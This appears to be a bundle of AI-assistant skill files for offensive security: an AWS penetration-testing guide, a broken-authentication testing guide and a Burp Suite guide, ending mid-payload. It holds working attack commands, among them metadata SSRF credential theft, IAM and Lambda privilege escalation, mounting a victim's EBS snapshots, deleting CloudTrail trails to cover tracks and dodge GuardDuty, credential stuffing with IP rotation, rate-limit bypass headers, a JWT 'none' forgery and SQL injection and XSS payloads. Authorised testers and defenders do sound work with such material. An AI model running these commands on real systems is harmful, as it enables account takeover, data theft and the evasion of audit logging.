Checklist\r\n\r\n### Identity and Access Management\r\n- [ ] Avoid use of root account\r\n- [ ] MFA enabled for all IAM users with console access\r\n- [ ] Disable credentials unused for 90+ days\r\n- [ ] Rotate access keys every 90 days\r\n- [ ] Password policy: uppercase, lowercase, symbol, number, 14+ chars\r\n- [ ] No root access keys exist\r\n- [ ] MFA enabled for root account\r\n- [ ] IAM policies attached to groups/roles only\r\n\r\n### Logging\r\n- [ ] CloudTrail enabled in all regions\r\n- [ ] CloudTrail log file validation enabled\r\n- [ ] CloudTrail S3 bucket not publicly accessible\r\n- [ ] CloudTrail integrated with CloudWatch Logs\r\n- [ ] AWS Config enabled in all regions\r\n- [ ] CloudTrail logs encrypted with KMS\r\n- [ ] KMS key rotation enabled\r\n\r\n### Networking\r\n- [ ] No security groups allow 0.0.0.0/0 to port 22\r\n- [ ] No security groups allow 0.0.0.0/0 to port 3389\r\n- [ ] VPC flow logging enabled\r\n- [ ] Default security group restricts all traffic\r\n\r\n### Monitoring\r\n- [ ] Alarm for unauthorized API calls\r\n- [ ] Alarm for console sign-in without MFA\r\n- [ ] Alarm for root account usage\r\n- [ ] Alarm for IAM policy changes\r\n- [ ] Alarm for CloudTrail config changes\r\n- [ ] Alarm for console auth failures\r\n- [ ] Alarm for CMK disabling/deletion\r\n- [ ] Alarm for S3 bucket policy changes\r\n- [ ] Alarm for security group changes\r\n- [ ] Alarm for NACL changes\r\n- [ ] Alarm for VPC changes\n\n<!-- File: skills/aws-penetration-testing/SKILL.md (Tokens: ~2472 | Category: anthropic-skill) -->\n---\nname: aws-penetration-testing\ndescription: This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# AWS Penetration Testing\n\n## Purpose\n\nProvide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.\n\n## Inputs/Prerequisites\n\n- AWS CLI configured with credentials\n- Valid AWS credentials (even low-privilege)\n- Understanding of AWS IAM model\n- Python 3, boto3 library\n- Tools: Pacu, Prowler, ScoutSuite, SkyArk\n\n## Outputs/Deliverables\n\n- IAM privilege escalation paths\n- Extracted credentials and secrets\n- Compromised EC2/Lambda/S3 resources\n- Persistence mechanisms\n- Security audit findings\n\n---\n\n## Essential Tools\n\n| Tool | Purpose | Installation |\n|------|---------|--------------|\n| Pacu | AWS exploitation framework | `git clone https://github.com/RhinoSecurityLabs/pacu` |\n| SkyArk | Shadow Admin discovery | `Import-Module .\\SkyArk.ps1` |\n| Prowler | Security auditing | `pip install prowler` |\n| ScoutSuite | Multi-cloud auditing | `pip install scoutsuite` |\n| enumerate-iam | Permission enumeration | `git clone https://github.com/andresriancho/enumerate-iam` |\n| Principal Mapper | IAM analysis | `pip install principalmapper` |\n\n---\n\n## Core Workflow\n\n### Step 1: Initial Enumeration\n\nIdentify the compromised identity and permissions:\n\n```bash\n# Check current identity\naws sts get-caller-identity\n\n# Configure profile\naws configure --profile compromised\n\n# List access keys\naws iam list-access-keys\n\n# Enumerate permissions\n./enumerate-iam.py --access-key AKIA... --secret-key StF0q...\n```\n\n### Step 2: IAM Enumeration\n\n```bash\n# List all users\naws iam list-users\n\n# List groups for user\naws iam list-groups-for-user --user-name TARGET_USER\n\n# List attached policies\naws iam list-attached-user-policies --user-name TARGET_USER\n\n# List inline policies\naws iam list-user-policies --user-name TARGET_USER\n\n# Get policy details\naws iam get-policy --policy-arn POLICY_ARN\naws iam get-policy-version --policy-arn POLICY_ARN --version-id v1\n\n# List roles\naws iam list-roles\naws iam list-attached-role-policies --role-name ROLE_NAME\n```\n\n### Step 3: Metadata SSRF (EC2)\n\nExploit SSRF to access metadata endpoint (IMDSv1):\n\n```bash\n# Access metadata endpoint\nhttp://169.254.169.254/latest/meta-data/\n\n# Get IAM role name\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# Extract temporary credentials\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME\n\n# Response contains:\n{\n  \"AccessKeyId\": \"ASIA...\",\n  \"SecretAccessKey\": \"...\",\n  \"Token\": \"...\",\n  \"Expiration\": \"2019-08-01T05:20:30Z\"\n}\n```\n\n**For IMDSv2 (token required):**\n\n```bash\n# Get token first\nTOKEN=$(curl -X PUT -H \"X-aws-ec2-metadata-token-ttl-seconds: 21600\" \\\n  \"http://169.254.169.254/latest/api/token\")\n\n# Use token for requests\ncurl -H \"X-aws-ec2-metadata-token:$TOKEN\" \\\n  \"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"\n```\n\n**Fargate Container Credentials:**\n\n```bash\n# Read environment for credential path\n/proc/self/environ\n# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...\n\n# Access credentials\nhttp://169.254.170.2/v2/credentials/CREDENTIAL-PATH\n```\n\n---\n\n## Privilege Escalation Techniques\n\n### Shadow Admin Permissions\n\nThese permissions are equivalent to administrator:\n\n| Permission | Exploitation |\n|------------|--------------|\n| `iam:CreateAccessKey` | Create keys for admin user |\n| `iam:CreateLoginProfile` | Set password for any user |\n| `iam:AttachUserPolicy` | Attach admin policy to self |\n| `iam:PutUserPolicy` | Add inline admin policy |\n| `iam:AddUserToGroup` | Add self to admin group |\n| `iam:PassRole` + `ec2:RunInstances` | Launch EC2 with admin role |\n| `lambda:UpdateFunctionCode` | Inject code into Lambda |\n\n### Create Access Key for Another User\n\n```bash\naws iam create-access-key --user-name target_user\n```\n\n### Attach Admin Policy\n\n```bash\naws iam attach-user-policy --user-name my_username \\\n  --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\n```\n\n### Add Inline Admin Policy\n\n```bash\naws iam put-user-policy --user-name my_username \\\n  --policy-name admin_policy \\\n  --policy-document file://admin-policy.json\n```\n\n### Lambda Privilege Escalation\n\n```python\n# code.py - Inject into Lambda function\nimport boto3\n\ndef lambda_handler(event, context):\n    client = boto3.client('iam')\n    response = client.attach_user_policy(\n        UserName='my_username',\n        PolicyArn=\"arn:aws:iam::aws:policy/AdministratorAccess\"\n    )\n    return response\n```\n\n```bash\n# Update Lambda code\naws lambda update-function-code --function-name target_function \\\n  --zip-file fileb://malicious.zip\n```\n\n---\n\n## S3 Bucket Exploitation\n\n### Bucket Discovery\n\n```bash\n# Using bucket_finder\n./bucket_finder.rb wordlist.txt\n./bucket_finder.rb --download --region us-east-1 wordlist.txt\n\n# Common bucket URL patterns\nhttps://{bucket-name}.s3.amazonaws.com\nhttps://s3.amazonaws.com/{bucket-name}\n```\n\n### Bucket Enumeration\n\n```bash\n# List buckets (with creds)\naws s3 ls\n\n# List bucket contents\naws s3 ls s3://bucket-name --recursive\n\n# Download all files\naws s3 sync s3://bucket-name ./local-folder\n```\n\n### Public Bucket Search\n\n```\nhttps://buckets.grayhatwarfare.com/\n```\n\n---\n\n## Lambda Exploitation\n\n```bash\n# List Lambda functions\naws lambda list-functions\n\n# Get function code\naws lambda get-function --function-name FUNCTION_NAME\n# Download URL provided in response\n\n# Invoke function\naws lambda invoke --function-name FUNCTION_NAME output.txt\n```\n\n---\n\n## SSM Command Execution\n\nSystems Manager allows command execution on EC2 instances:\n\n```bash\n# List managed instances\naws ssm describe-instance-information\n\n# Execute command\naws ssm send-command --instance-ids \"i-0123456789\" \\\n  --document-name \"AWS-RunShellScript\" \\\n  --parameters commands=\"whoami\"\n\n# Get command output\naws ssm list-command-invocations --command-id \"CMD-ID\" \\\n  --details --query \"CommandInvocations[].CommandPlugins[].Output\"\n```\n\n---\n\n## EC2 Exploitation\n\n### Mount EBS Volume\n\n```bash\n# Create snapshot of target volume\naws ec2 create-snapshot --volume-id vol-xxx --description \"Audit\"\n\n# Create volume from snapshot\naws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a\n\n# Attach to attacker instance\naws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf\n\n# Mount and access\nsudo mkdir /mnt/stolen\nsudo mount /dev/xvdf1 /mnt/stolen\n```\n\n### Shadow Copy Attack (Windows DC)\n\n```bash\n# CloudCopy technique\n# 1. Create snapshot of DC volume\n# 2. Share snapshot with attacker account\n# 3. Mount in attacker instance\n# 4. Extract NTDS.dit and SYSTEM\nsecretsdump.py -system ./SYSTEM -ntds ./ntds.dit local\n```\n\n---\n\n## Console Access from API Keys\n\nConvert CLI credentials to console access:\n\n```bash\ngit clone https://github.com/NetSPI/aws_consoler\naws_consoler -v -a AKIAXXXXXXXX -s SECRETKEY\n\n# Generates signin URL for console access\n```\n\n---\n\n## Covering Tracks\n\n### Disable CloudTrail\n\n```bash\n# Delete trail\naws cloudtrail delete-trail --name trail_name\n\n# Disable global events\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events\n\n# Disable specific region\naws cloudtrail update-trail --name trail_name \\\n  --no-include-global-service-events --no-is-multi-region-trail\n```\n\n**Note:** Kali/Parrot/Pentoo Linux triggers GuardDuty alerts based on user-agent. Use Pacu which modifies the user-agent.\n\n---\n\n## Quick Reference\n\n| Task | Command |\n|------|---------|\n| Get identity | `aws sts get-caller-identity` |\n| List users | `aws iam list-users` |\n| List roles | `aws iam list-roles` |\n| List buckets | `aws s3 ls` |\n| List EC2 | `aws ec2 describe-instances` |\n| List Lambda | `aws lambda list-functions` |\n| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |\n\n---\n\n## Constraints\n\n**Must:**\n- Obtain written authorization before testing\n- Document all actions for audit trail\n- Test in scope resources only\n\n**Must Not:**\n- Modify production data without approval\n- Leave persistent backdoors without documentation\n- Disable security controls permanently\n\n**Should:**\n- Check for IMDSv2 before attempting metadata attacks\n- Enumerate thoroughly before exploitation\n- Clean up test resources after engagement\n\n---\n\n## Examples\n\n### Example 1: SSRF to Admin\n\n```bash\n# 1. Find SSRF vulnerability in web app\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# 2. Get role name from response\n# 3. Extract credentials\nhttps://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole\n\n# 4. Configure AWS CLI with stolen creds\nexport AWS_ACCESS_KEY_ID=ASIA...\nexport AWS_SECRET_ACCESS_KEY=...\nexport AWS_SESSION_TOKEN=...\n\n# 5. Verify access\naws sts get-caller-identity\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Access Denied on all commands | Enumerate permissions with enumerate-iam |\n| Metadata endpoint blocked | Check for IMDSv2, try container metadata |\n| GuardDuty alerts | Use Pacu with custom user-agent |\n| Expired credentials | Re-fetch from metadata (temp creds rotate) |\n| CloudTrail logging actions | Consider disable or log obfuscation |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including Lambda/API Gateway exploitation, Secrets Manager & KMS, Container security (ECS/EKS/ECR), RDS/DynamoDB exploitation, VPC lateral movement, and security checklists, see [references/advanced-aws-pentesting.md](references/advanced-aws-pentesting.md).\n\n<!-- File: skills/broken-authentication/SKILL.md (Tokens: ~3067 | Category: anthropic-skill) -->\n---\nname: broken-authentication\ndescription: This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Broken Authentication Testing\n\n## Purpose\n\nIdentify and exploit authentication and session management vulnerabilities in web applications. Broken authentication consistently ranks in the OWASP Top 10 and can lead to account takeover, identity theft, and unauthorized access to sensitive systems. This skill covers testing methodologies for password policies, session handling, multi-factor authentication, and credential management.\n\n## Prerequisites\n\n### Required Knowledge\n- HTTP protocol and session mechanisms\n- Authentication types (SFA, 2FA, MFA)\n- Cookie and token handling\n- Common authentication frameworks\n\n### Required Tools\n- Burp Suite Professional or Community\n- Hydra or similar brute-force tools\n- Custom wordlists for credential testing\n- Browser developer tools\n\n### Required Access\n- Target application URL\n- Test account credentials\n- Written authorization for testing\n\n## Outputs and Deliverables\n\n1. **Authentication Assessment Report** - Document all identified vulnerabilities\n2. **Credential Testing Results** - Brute-force and dictionary attack outcomes\n3. **Session Security Analysis** - Token randomness and timeout evaluation\n4. **Remediation Recommendations** - Security hardening guidance\n\n## Core Workflow\n\n### Phase 1: Authentication Mechanism Analysis\n\nUnderstand the application's authentication architecture:\n\n```\n# Identify authentication type\n- Password-based (forms, basic auth, digest)\n- Token-based (JWT, OAuth, API keys)\n- Certificate-based (mutual TLS)\n- Multi-factor (SMS, TOTP, hardware tokens)\n\n# Map authentication endpoints\n/login, /signin, /authenticate\n/register, /signup\n/forgot-password, /reset-password\n/logout, /signout\n/api/auth/*, /oauth/*\n```\n\nCapture and analyze authentication requests:\n\n```http\nPOST /login HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nusername=test&password=test123\n```\n\n### Phase 2: Password Policy Testing\n\nEvaluate password requirements and enforcement:\n\n```bash\n# Test minimum length (a, ab, abcdefgh)\n# Test complexity (password, password1, Password1!)\n# Test common weak passwords (123456, password, qwerty, admin)\n# Test username as password (admin/admin, test/test)\n```\n\nDocument policy gaps: Minimum length <8, no complexity, common passwords allowed, username as password.\n\n### Phase 3: Credential Enumeration\n\nTest for username enumeration vulnerabilities:\n\n```bash\n# Compare responses for valid vs invalid usernames\n# Invalid: \"Invalid username\" vs Valid: \"Invalid password\"\n# Check timing differences, response codes, registration messages\n```\n\n# Password reset\n\"Email sent if account exists\" (secure)\n\"No account with that email\" (leaks info)\n\n# API responses\n{\"error\": \"user_not_found\"}\n{\"error\": \"invalid_password\"}\n```\n\n### Phase 4: Brute Force Testing\n\nTest account lockout and rate limiting:\n\n```bash\n# Using Hydra for form-based auth\nhydra -l admin -P /usr/share/wordlists/rockyou.txt \\\n  target.com http-post-form \\\n  \"/login:username=^USER^&password=^PASS^:Invalid credentials\"\n\n# Using Burp Intruder\n1. Capture login request\n2. Send to Intruder\n3. Set payload positions on password field\n4. Load wordlist\n5. Start attack\n6. Analyze response lengths/codes\n```\n\nCheck for protections:\n\n```bash\n# Account lockout\n- After how many attempts?\n- Duration of lockout?\n- Lockout notification?\n\n# Rate limiting\n- Requests per minute limit?\n- IP-based or account-based?\n- Bypass via headers (X-Forwarded-For)?\n\n# CAPTCHA\n- After failed attempts?\n- Easily bypassable?\n```\n\n### Phase 5: Credential Stuffing\n\nTest with known breached credentials:\n\n```bash\n# Credential stuffing differs from brute force\n# Uses known email:password pairs from breaches\n\n# Using Burp Intruder with Pitchfork attack\n1. Set username and password as positions\n2. Load email list as payload 1\n3. Load password list as payload 2 (matched pairs)\n4. Analyze for successful logins\n\n# Detection evasion\n- Slow request rate\n- Rotate source IPs\n- Randomize user agents\n- Add delays between attempts\n```\n\n### Phase 6: Session Management Testing\n\nAnalyze session token security:\n\n```bash\n# Capture session cookie\nCookie: SESSIONID=abc123def456\n\n# Test token characteristics\n1. Entropy - Is it random enough?\n2. Length - Sufficient length (128+ bits)?\n3. Predictability - Sequential patterns?\n4. Secure flags - HttpOnly, Secure, SameSite?\n```\n\nSession token analysis:\n\n```python\n#!/usr/bin/env python3\nimport requests\nimport hashlib\n\n# Collect multiple session tokens\ntokens = []\nfor i in range(100):\n    response = requests.get(\"https://target.com/login\")\n    token = response.cookies.get(\"SESSIONID\")\n    tokens.append(token)\n\n# Analyze for patterns\n# Check for sequential increments\n# Calculate entropy\n# Look for timestamp components\n```\n\n### Phase 7: Session Fixation Testing\n\nTest if session is regenerated after authentication:\n\n```bash\n# Step 1: Get session before login\nGET /login HTTP/1.1\nResponse: Set-Cookie: SESSIONID=abc123\n\n# Step 2: Login with same session\nPOST /login HTTP/1.1\nCookie: SESSIONID=abc123\nusername=valid&password=valid\n\n# Step 3: Check if session changed\n# VULNERABLE if SESSIONID remains abc123\n# SECURE if new session assigned after login\n```\n\nAttack scenario:\n\n```bash\n# Attacker workflow:\n1. Attacker visits site, gets session: SESSIONID=attacker_session\n2. Attacker sends link to victim with fixed session:\n   https://target.com/login?SESSIONID=attacker_session\n3. Victim logs in with attacker's session\n4. Attacker now has authenticated session\n```\n\n### Phase 8: Session Timeout Testing\n\nVerify session expiration policies:\n\n```bash\n# Test idle timeout\n1. Login and note session cookie\n2. Wait without activity (15, 30, 60 minutes)\n3. Attempt to use session\n4. Check if session is still valid\n\n# Test absolute timeout\n1. Login and continuously use session\n2. Check if forced logout after set period (8 hours, 24 hours)\n\n# Test logout functionality\n1. Login and note session\n2. Click logout\n3. Attempt to reuse old session cookie\n4. Session should be invalidated server-side\n```\n\n### Phase 9: Multi-Factor Authentication Testing\n\nAssess MFA implementation security:\n\n```bash\n# OTP brute force\n- 4-digit OTP = 10,000 combinations\n- 6-digit OTP = 1,000,000 combinations\n- Test rate limiting on OTP endpoint\n\n# OTP bypass techniques\n- Skip MFA step by direct URL access\n- Modify response to indicate MFA passed\n- Null/empty OTP submission\n- Previous valid OTP reuse\n\n# API Version Downgrade Attack (crAPI example)\n# If /api/v3/check-otp has rate limiting, try older versions:\nPOST /api/v2/check-otp\n{\"otp\": \"1234\"}\n# Older API versions may lack security controls\n\n# Using Burp for OTP testing\n1. Capture OTP verification request\n2. Send to Intruder\n3. Set OTP field as payload position\n4. Use numbers payload (0000-9999)\n5. Check for successful bypass\n```\n\nTest MFA enrollment:\n\n```bash\n# Forced enrollment\n- Can MFA be skipped during setup?\n- Can backup codes be accessed without verification?\n\n# Recovery process\n- Can MFA be disabled via email alone?\n- Social engineering potential?\n```\n\n### Phase 10: Password Reset Testing\n\nAnalyze password reset security:\n\n```bash\n# Token security\n1. Request password reset\n2. Capture reset link\n3. Analyze token:\n   - Length and randomness\n   - Expiration time\n   - Single-use enforcement\n   - Account binding\n\n# Token manipulation\nhttps://target.com/reset?token=abc123&user=victim\n# Try changing user parameter while using valid token\n\n# Host header injection\nPOST /forgot-password HTTP/1.1\nHost: attacker.com\nemail=victim@email.com\n# Reset email may contain attacker's domain\n```\n\n## Quick Reference\n\n### Common Vulnerability Types\n\n| Vulnerability | Risk | Test Method |\n|--------------|------|-------------|\n| Weak passwords | High | Policy testing, dictionary attack |\n| No lockout | High | Brute force testing |\n| Username enumeration | Medium | Differential response analysis |\n| Session fixation | High | Pre/post-login session comparison |\n| Weak session tokens | High | Entropy analysis |\n| No session timeout | Medium | Long-duration session testing |\n| Insecure password reset | High | Token analysis, workflow bypass |\n| MFA bypass | Critical | Direct access, response manipulation |\n\n### Credential Testing Payloads\n\n```bash\n# Default credentials\nadmin:admin\nadmin:password\nadmin:123456\nroot:root\ntest:test\nuser:user\n\n# Common passwords\n123456\npassword\n12345678\nqwerty\nabc123\npassword1\nadmin123\n\n# Breached credential databases\n- Have I Been Pwned dataset\n- SecLists passwords\n- Custom targeted lists\n```\n\n### Session Cookie Flags\n\n| Flag | Purpose | Vulnerability if Missing |\n|------|---------|------------------------|\n| HttpOnly | Prevent JS access | XSS can steal session |\n| Secure | HTTPS only | Sent over HTTP |\n| SameSite | CSRF protection | Cross-site requests allowed |\n| Path | URL scope | Broader exposure |\n| Domain | Domain scope | Subdomain access |\n| Expires | Lifetime | Persistent sessions |\n\n### Rate Limiting Bypass Headers\n\n```http\nX-Forwarded-For: 127.0.0.1\nX-Real-IP: 127.0.0.1\nX-Originating-IP: 127.0.0.1\nX-Client-IP: 127.0.0.1\nX-Remote-IP: 127.0.0.1\nTrue-Client-IP: 127.0.0.1\n```\n\n## Constraints and Limitations\n\n### Legal Requirements\n- Only test with explicit written authorization\n- Avoid testing with real breached credentials\n- Do not access actual user accounts\n- Document all testing activities\n\n### Technical Limitations\n- CAPTCHA may prevent automated testing\n- Rate limiting affects brute force timing\n- MFA significantly increases attack difficulty\n- Some vulnerabilities require victim interaction\n\n### Scope Considerations\n- Test accounts may behave differently than production\n- Some features may be disabled in test environments\n- Third-party authentication may be out of scope\n- Production testing requires extra caution\n\n## Examples\n\n### Example 1: Account Lockout Bypass\n\n**Scenario:** Test if account lockout can be bypassed\n\n```bash\n# Step 1: Identify lockout threshold\n# Try 5 wrong passwords for admin account\n# Result: \"Account locked for 30 minutes\"\n\n# Step 2: Test bypass via IP rotation\n# Use X-Forwarded-For header\nPOST /login HTTP/1.1\nX-Forwarded-For: 192.168.1.1\nusername=admin&password=attempt1\n\n# Increment IP for each attempt\nX-Forwarded-For: 192.168.1.2\n# Continue until successful or confirmed blocked\n\n# Step 3: Test bypass via case manipulation\nusername=Admin (vs admin)\nusername=ADMIN\n# Some systems treat these as different accounts\n```\n\n### Example 2: JWT Token Attack\n\n**Scenario:** Exploit weak JWT implementation\n\n```bash\n# Step 1: Capture JWT token\nAuthorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidGVzdCJ9.signature\n\n# Step 2: Decode and analyze\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"user\":\"test\",\"role\":\"user\"}\n\n# Step 3: Try \"none\" algorithm attack\n# Change header to: {\"alg\":\"none\",\"typ\":\"JWT\"}\n# Remove signature\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ.\n\n# Step 4: Submit modified token\nAuthorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4ifQ.\n```\n\n### Example 3: Password Reset Token Exploitation\n\n**Scenario:** Test password reset functionality\n\n```bash\n# Step 1: Request reset for test account\nPOST /forgot-password\nemail=test@example.com\n\n# Step 2: Capture reset link\nhttps://target.com/reset?token=a1b2c3d4e5f6\n\n# Step 3: Test token properties\n# Reuse: Try using same token twice\n# Expiration: Wait 24+ hours and retry\n# Modification: Change characters in token\n\n# Step 4: Test for user parameter manipulation\nhttps://target.com/reset?token=a1b2c3d4e5f6&email=admin@example.com\n# Check if admin's password can be reset with test user's token\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Brute force too slow | Identify rate limit scope; IP rotation; add delays; use targeted wordlists |\n| Session analysis inconclusive | Collect 1000+ tokens; use statistical tools; check for timestamps; compare accounts |\n| MFA cannot be bypassed | Document as secure; test backup/recovery mechanisms; check MFA fatigue; verify enrollment |\n| Account lockout prevents testing | Request multiple test accounts; test threshold first; use slower timing |\n\n<!-- File: skills/burp-suite-testing/SKILL.md (Tokens: ~2458 | Category: anthropic-skill) -->\n---\nname: burp-suite-testing\ndescription: This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Burp Suite Web Application Testing\n\n## Purpose\n\nExecute comprehensive web application security testing using Burp Suite's integrated toolset, including HTTP traffic interception and modification, request analysis and replay, automated vulnerability scanning, and manual testing workflows. This skill enables systematic discovery and exploitation of web application vulnerabilities through proxy-based testing methodology.\n\n## Inputs / Prerequisites\n\n### Required Tools\n- Burp Suite Community or Professional Edition installed\n- Burp's embedded browser or configured external browser\n- Target web application URL\n- Valid credentials for authenticated testing (if applicable)\n\n### Environment Setup\n- Burp Suite launched with temporary or named project\n- Proxy listener active on 127.0.0.1:8080 (default)\n- Browser configured to use Burp proxy (or use Burp's browser)\n- CA certificate installed for HTTPS interception\n\n### Editions Comparison\n| Feature | Community | Professional |\n|---------|-----------|--------------|\n| Proxy | ✓ | ✓ |\n| Repeater | ✓ | ✓ |\n| Intruder | Limited | Full |\n| Scanner | ✗ | ✓ |\n| Extensions | ✓ | ✓ |\n\n## Outputs / Deliverables\n\n### Primary Outputs\n- Intercepted and modified HTTP requests/responses\n- Vulnerability scan reports with remediation advice\n- HTTP history and site map documentation\n- Proof-of-concept exploits for identified vulnerabilities\n\n## Core Workflow\n\n### Phase 1: Intercepting HTTP Traffic\n\n#### Launch Burp's Browser\nNavigate to integrated browser for seamless proxy integration:\n\n1. Open Burp Suite and create/open project\n2. Go to **Proxy > Intercept** tab\n3. Click **Open Browser** to launch preconfigured browser\n4. Position windows to view both Burp and browser simultaneously\n\n#### Configure Interception\nControl which requests are captured:\n\n```\nProxy > Intercept > Intercept is on/off toggle\n\nWhen ON: Requests pause for review/modification\nWhen OFF: Requests pass through, logged to history\n```\n\n#### Intercept and Forward Requests\nProcess intercepted traffic:\n\n1. Set intercept toggle to **Intercept on**\n2. Navigate to target URL in browser\n3. Observe request held in Proxy > Intercept tab\n4. Review request contents (headers, parameters, body)\n5. Click **Forward** to send request to server\n6. Continue forwarding subsequent requests until page loads\n\n#### View HTTP History\nAccess complete traffic log:\n\n1. Go to **Proxy > HTTP history** tab\n2. Click any entry to view full request/response\n3. Sort by clicking column headers (# for chronological order)\n4. Use filters to focus on relevant traffic\n\n### Phase 2: Modifying Requests\n\n#### Intercept and Modify\nChange request parameters before forwarding:\n\n1. Enable interception: **Intercept on**\n2. Trigger target request in browser\n3. Locate parameter to modify in intercepted request\n4. Edit value directly in request editor\n5. Click **Forward** to send modified request\n\n#### Common Modification Targets\n| Target | Example | Purpose |\n|--------|---------|---------|\n| Price parameters | `price=1` | Test business logic |\n| User IDs | `userId=admin` | Test access control |\n| Quantity values | `qty=-1` | Test input validation |\n| Hidden fields | `isAdmin=true` | Test privilege escalation |\n\n#### Example: Price Manipulation\n\n```http\nPOST /cart HTTP/1.1\nHost: target.com\nContent-Type: application/x-www-form-urlencoded\n\nproductId=1&quantity=1&price=100\n\n# Modify to:\nproductId=1&quantity=1&price=1\n```\n\nResult: Item added to cart at modified price.\n\n### Phase 3: Setting Target Scope\n\n#### Define Scope\nFocus testing on specific target:\n\n1. Go to **Target > Site map**\n2. Right-click target host in left panel\n3. Select **Add to scope**\n4. When prompted, click **Yes** to exclude out-of-scope traffic\n\n#### Filter by Scope\nRemove noise from HTTP history:\n\n1. Click display filter above HTTP history\n2. Select **Show only in-scope items**\n3. History now shows only target site traffic\n\n#### Scope Benefits\n- Reduces clutter from third-party requests\n- Prevents accidental testing of out-of-scope sites\n- Improves scanning efficiency\n- Creates cleaner reports\n\n### Phase 4: Using Burp Repeater\n\n#### Send Request to Repeater\nPrepare request for manual testing:\n\n1. Identify interesting request in HTTP history\n2. Right-click request and select **Send to Repeater**\n3. Go to **Repeater** tab to access request\n\n#### Modify and Resend\nTest different inputs efficiently:\n\n```\n1. View request in Repeater tab\n2. Modify parameter values\n3. Click Send to submit request\n4. Review response in right panel\n5. Use navigation arrows to review request history\n```\n\n#### Repeater Testing Workflow\n\n```\nOriginal Request:\nGET /product?productId=1 HTTP/1.1\n\nTest 1: productId=2    → Valid product response\nTest 2: productId=999  → Not Found response  \nTest 3: productId='    → Error/exception response\nTest 4: productId=1 OR 1=1 → SQL injection test\n```\n\n#### Analyze Responses\nLook for indicators of vulnerabilities:\n\n- Error messages revealing stack traces\n- Framework/version information disclosure\n- Different response lengths indicating logic flaws\n- Timing differences suggesting blind injection\n- Unexpected data in responses\n\n### Phase 5: Running Automated Scans\n\n#### Launch New Scan\nInitiate vulnerability scanning (Professional only):\n\n1. Go to **Dashboard** tab\n2. Click **New scan**\n3. Enter target URL in **URLs to scan** field\n4. Configure scan settings\n\n#### Scan Configuration Options\n\n| Mode | Description | Duration |\n|------|-------------|----------|\n| Lightweight | High-level overview | ~15 minutes |\n| Fast | Quick vulnerability check | ~30 minutes |\n| Balanced | Standard comprehensive scan | ~1-2 hours |\n| Deep | Thorough testing | Several hours |\n\n#### Monitor Scan Progress\nTrack scanning activity:\n\n1. View task status in **Dashboard**\n2. Watch **Target > Site map** update in real-time\n3. Check **Issues** tab for discovered vulnerabilities\n\n#### Review Identified Issues\nAnalyze scan findings:\n\n1. Select scan task in Dashboard\n2. Go to **Issues** tab\n3. Click issue to view:\n   - **Advisory**: Description and remediation\n   - **Request**: Triggering HTTP request\n   - **Response**: Server response showing vulnerability\n\n### Phase 6: Intruder Attacks\n\n#### Configure Intruder\nSet up automated attack:\n\n1. Send request to Intruder (right-click > Send to Intruder)\n2. Go to **Intruder** tab\n3. Define payload positions using § markers\n4. Select attack type\n\n#### Attack Types\n\n| Type | Description | Use Case |\n|------|-------------|----------|\n| Sniper | Single position, iterate payloads | Fuzzing one parameter |\n| Battering ram | Same payload all positions | Credential testing |\n| Pitchfork | Parallel payload iteration | Username:password pairs |\n| Cluster bomb | All payload combinations | Full brute force |\n\n#### Configure Payloads\n\n```\nPositions Tab:\nPOST /login HTTP/1.1\n...\nusername=§admin§&password=§password§\n\nPayloads Tab:\nSet 1: admin, user, test, guest\nSet 2: password, 123456, admin, letmein\n```\n\n#### Analyze Results\nReview attack output:\n\n- Sort by response length to find anomalies\n- Filter by status code for successful attempts\n- Use grep to search for specific strings\n- Export results for documentation\n\n## Quick Reference\n\n### Keyboard Shortcuts\n| Action | Windows/Linux | macOS |\n|--------|---------------|-------|\n| Forward request | Ctrl+F | Cmd+F |\n| Drop request | Ctrl+D | Cmd+D |\n| Send to Repeater | Ctrl+R | Cmd+R |\n| Send to Intruder | Ctrl+I | Cmd+I |\n| Toggle intercept | Ctrl+T | Cmd+T |\n\n### Common Testing Payloads\n\n```\n# SQL Injection\n' OR '1'='1\n' OR '1'='1'--\n1 UNION SELECT NULL--\n\n# XSS\n<script>alert(1)</script>\n\"><img src=x 